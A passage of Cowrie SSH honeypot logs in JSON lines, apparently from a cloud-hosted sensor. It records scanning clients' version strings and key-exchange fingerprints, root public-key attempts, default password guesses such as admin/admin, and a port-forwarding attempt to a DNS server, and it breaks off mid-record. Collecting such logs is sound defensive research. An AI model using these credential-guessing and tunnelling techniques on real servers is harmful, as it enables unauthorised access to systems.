{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:24.275929Z","src_ip":"87.251.64.176","session":"0140e2a5c7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:24.373866Z","src_ip":"87.251.64.176","session":"0140e2a5c7e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:24.714957Z","src_ip":"87.251.64.176","session":"0140e2a5c7e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:24.814806Z","session":"0140e2a5c7e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:24.978143Z","src_ip":"87.251.64.176","session":"0140e2a5c7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:25.131909Z","src_ip":"87.251.64.176","session":"0140e2a5c7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.83.114.88","src_port":45496,"dst_ip":"159.203.135.109","dst_port":22,"session":"18415d4b4cee","protocol":"ssh","message":"New connection: 223.83.114.88:45496 (159.203.135.109:22) [session: 18415d4b4cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:45.281691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:46.384098Z","src_ip":"223.83.114.88","session":"18415d4b4cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.145.60","src_port":19776,"dst_ip":"10.17.0.5","dst_port":22,"session":"084ced693bbe","protocol":"ssh","message":"New connection: 45.148.145.60:19776 (10.17.0.5:22) [session: 084ced693bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:15.747170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:15.752532Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:15.836082Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:3c:3c:9c:9f:6c:8f:4a:84:08:6e:78:bc:fe:fc:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvgNb3Z7vbVdOMrYOy3ND7cN2s3MhXzU1UaC/BmwhfhjFRG3NSfoVmBATRmxAXOj12i7uOPT/EEQTRvR09i1nSj+DBx1qSjj4mjSjGUVbpUJmR8W1TpRMe2CrYXVttBmpvRq4iatG/fODE5NN80I5ePYbJeQgDOqFBBg3Afwl/zJXap8PHNJC1r8CkEUXbxvGJyGklPcA206nhx5SFCogrI9Lkefs0OpIGeJgAK+gOkV3mOJXgvIgjqAb+KpVUQufweqYFFuqT3sh5zwpQdxw+T/1T1+rMIdBd20ZGC8XFzKWzQiva7vQ4Enkey3nDgf4EaSOx7C3gXtxiUELwXHBv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:3c:3c:9c:9f:6c:8f:4a:84:08:6e:78:bc:fe:fc:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.226652Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:3c:3c:9c:9f:6c:8f:4a:84:08:6e:78:bc:fe:fc:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvgNb3Z7vbVdOMrYOy3ND7cN2s3MhXzU1UaC/BmwhfhjFRG3NSfoVmBATRmxAXOj12i7uOPT/EEQTRvR09i1nSj+DBx1qSjj4mjSjGUVbpUJmR8W1TpRMe2CrYXVttBmpvRq4iatG/fODE5NN80I5ePYbJeQgDOqFBBg3Afwl/zJXap8PHNJC1r8CkEUXbxvGJyGklPcA206nhx5SFCogrI9Lkefs0OpIGeJgAK+gOkV3mOJXgvIgjqAb+KpVUQufweqYFFuqT3sh5zwpQdxw+T/1T1+rMIdBd20ZGC8XFzKWzQiva7vQ4Enkey3nDgf4EaSOx7C3gXtxiUELwXHBv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.231327Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:26:a5:d4:02:4e:24:ec:8f:6b:24:7a:a6:55:ee:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4S9DLHjiN+Tu+Te67nQcN30xjCj1Iy0v/wYGgKOPzTuq+cIv6W2EfLUzmIcoR6bA2nbpcHMB3PfLzhq0BfzlJsmT2WVrKeVWKs3vMSMhLf4CvmdFRHK5PHJqUyLEI43XEXar3rfUeWHOc81MszpcmR748BsHZjBG4hi4BbyP8g6bUbvkGrb/E0El+yWwqJ+x+v4v+qs5XuqDoHJwlti8syKOKM2A2IxMek/i6G2EsxNFFEGA+F1f6AHoMNr+BALKdkMDI7HtuyvtuFdZSoT6FSdqWVG572bjM9N20BzPSFgRM7j1b7fwnLc399aY7oMKBOXL4fKkvfKTzGwbB8fGr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:26:a5:d4:02:4e:24:ec:8f:6b:24:7a:a6:55:ee:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.314444Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:26:a5:d4:02:4e:24:ec:8f:6b:24:7a:a6:55:ee:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4S9DLHjiN+Tu+Te67nQcN30xjCj1Iy0v/wYGgKOPzTuq+cIv6W2EfLUzmIcoR6bA2nbpcHMB3PfLzhq0BfzlJsmT2WVrKeVWKs3vMSMhLf4CvmdFRHK5PHJqUyLEI43XEXar3rfUeWHOc81MszpcmR748BsHZjBG4hi4BbyP8g6bUbvkGrb/E0El+yWwqJ+x+v4v+qs5XuqDoHJwlti8syKOKM2A2IxMek/i6G2EsxNFFEGA+F1f6AHoMNr+BALKdkMDI7HtuyvtuFdZSoT6FSdqWVG572bjM9N20BzPSFgRM7j1b7fwnLc399aY7oMKBOXL4fKkvfKTzGwbB8fGr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.320795Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:58:fa:22:b9:37:fd:f2:74:ca:24:2a:8a:cb:5a:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsNPMVUrryAgq1g07lIFc3xyL0L6dBLT1+nytQ/fM2UUwtP1JvwniV6zXgmgdCZKX7g9E1JdyntFeN5cIC2yu5J658VucfAmtLJhWuZ3Ky/1rs3fZ9uqD6gsedz3e9HwtWtfK5LHpn/Llwyr6eps278ap7RPLQ5bWxyxJy44Vt09zIOp1R2s15f4sGzwG6mUCaJv3issSpFSpHWSOqRhv35hzVXOPIP2py40cUc3TvsPbapmorxc8RrlWa+cjU7oc7kj319O8G6NBpWEeN34O/80tTqigdRxkTDrHsb+wJNI5Bc8kNgovPCAMDCQ3fbgCWMuTdU4zNFMDSB13/HBCV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:58:fa:22:b9:37:fd:f2:74:ca:24:2a:8a:cb:5a:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.403486Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:58:fa:22:b9:37:fd:f2:74:ca:24:2a:8a:cb:5a:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsNPMVUrryAgq1g07lIFc3xyL0L6dBLT1+nytQ/fM2UUwtP1JvwniV6zXgmgdCZKX7g9E1JdyntFeN5cIC2yu5J658VucfAmtLJhWuZ3Ky/1rs3fZ9uqD6gsedz3e9HwtWtfK5LHpn/Llwyr6eps278ap7RPLQ5bWxyxJy44Vt09zIOp1R2s15f4sGzwG6mUCaJv3issSpFSpHWSOqRhv35hzVXOPIP2py40cUc3TvsPbapmorxc8RrlWa+cjU7oc7kj319O8G6NBpWEeN34O/80tTqigdRxkTDrHsb+wJNI5Bc8kNgovPCAMDCQ3fbgCWMuTdU4zNFMDSB13/HBCV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.407605Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:0d:99:db:fc:98:7f:fb:29:94:18:31:bd:9c:7e:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwYYfsIU6xgs+Ib9ovwLnaSz6iIutEKTZi2CAJOHYFbko/bSBz/IFV8P8xRhG6qNPeEVjBogWoEWv5ENz66ij+MpZpD/1/dklawXhAWE+yMNi8QBsW5dc54V6uuKopOdhVYszKNybyFYxDH2nt1O8Iab9ogIrfvWJ/cQCjlSg0kHzn5oW2bgNArhVMQk7itYiloKoeaf2osszlcWjQJsDWw1Tajlf7WV3XHwteZ0+lLsSJDeyrGY2El437Fh5k+9tdhq/TVnguCMLHcB6xeBOjHPjSGYG9alV4ggyYsepw0jrQC09sRRQUQG1ONlnhUQ5ppSmJK+xq6wEutSgGtgsAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:0d:99:db:fc:98:7f:fb:29:94:18:31:bd:9c:7e:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.490464Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:0d:99:db:fc:98:7f:fb:29:94:18:31:bd:9c:7e:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwYYfsIU6xgs+Ib9ovwLnaSz6iIutEKTZi2CAJOHYFbko/bSBz/IFV8P8xRhG6qNPeEVjBogWoEWv5ENz66ij+MpZpD/1/dklawXhAWE+yMNi8QBsW5dc54V6uuKopOdhVYszKNybyFYxDH2nt1O8Iab9ogIrfvWJ/cQCjlSg0kHzn5oW2bgNArhVMQk7itYiloKoeaf2osszlcWjQJsDWw1Tajlf7WV3XHwteZ0+lLsSJDeyrGY2El437Fh5k+9tdhq/TVnguCMLHcB6xeBOjHPjSGYG9alV4ggyYsepw0jrQC09sRRQUQG1ONlnhUQ5ppSmJK+xq6wEutSgGtgsAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.494407Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:27:e6:14:d4:21:33:33:c5:a8:9c:25:7b:a3:6d:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHtpetD7d86nCPLzOR1xQdHkd3i4sVxeIBhJao/NUkmux28Tp90dbVTsnFQ/WfoM0GQ/G738J7hqONzqOao9P7d1t8Q3hAIci7LdxCOj0vnFLEnh5vZDp9jWgnk2JDPjtjNkB+aq3Fi7nWdUuJ+Gc20klK+53Rze8opWKtptmzGqxVduNLYaJPEB+q2i403B1SnqJwJSP7NlsrCCWTHcVf4oMNAyZ9FmC9AZituOn+U8PKs4fH05DR5M7IEwUOQbUWcpw+QVEAvEm2l8oWssyA8TVuTPw/ssNtPey+1wuwS3GcicC32tAjKd0F6HaiUYGoien9ZFoL+uI7CHwny3NJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:27:e6:14:d4:21:33:33:c5:a8:9c:25:7b:a3:6d:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.577702Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:27:e6:14:d4:21:33:33:c5:a8:9c:25:7b:a3:6d:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHtpetD7d86nCPLzOR1xQdHkd3i4sVxeIBhJao/NUkmux28Tp90dbVTsnFQ/WfoM0GQ/G738J7hqONzqOao9P7d1t8Q3hAIci7LdxCOj0vnFLEnh5vZDp9jWgnk2JDPjtjNkB+aq3Fi7nWdUuJ+Gc20klK+53Rze8opWKtptmzGqxVduNLYaJPEB+q2i403B1SnqJwJSP7NlsrCCWTHcVf4oMNAyZ9FmC9AZituOn+U8PKs4fH05DR5M7IEwUOQbUWcpw+QVEAvEm2l8oWssyA8TVuTPw/ssNtPey+1wuwS3GcicC32tAjKd0F6HaiUYGoien9ZFoL+uI7CHwny3NJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.581630Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:16.664088Z","src_ip":"45.148.145.60","session":"084ced693bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60466,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dcc73248e90","protocol":"ssh","message":"New connection: 2.57.122.208:60466 (10.17.0.5:22) [session: 9dcc73248e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:31.063748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:31.281218Z","src_ip":"2.57.122.208","session":"9dcc73248e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:31.284969Z","src_ip":"2.57.122.208","session":"9dcc73248e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:32.464130Z","src_ip":"2.57.122.208","session":"9dcc73248e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:33.757715Z","src_ip":"2.57.122.208","session":"9dcc73248e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45356,"dst_ip":"10.17.0.5","dst_port":22,"session":"4939e4bc2f09","protocol":"ssh","message":"New connection: 103.15.226.202:45356 (10.17.0.5:22) [session: 4939e4bc2f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:49.325624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:49.330504Z","src_ip":"103.15.226.202","session":"4939e4bc2f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:49.579292Z","src_ip":"103.15.226.202","session":"4939e4bc2f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"za","password":"za","message":"login attempt [za/za] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:50.325325Z","src_ip":"103.15.226.202","session":"4939e4bc2f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:47:51.596778Z","src_ip":"103.15.226.202","session":"4939e4bc2f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.61.52.242","src_port":35240,"dst_ip":"10.17.0.5","dst_port":22,"session":"317d24668fe8","protocol":"ssh","message":"New connection: 194.61.52.242:35240 (10.17.0.5:22) [session: 317d24668fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:39.152503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:48:39.157586Z","src_ip":"194.61.52.242","session":"317d24668fe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sh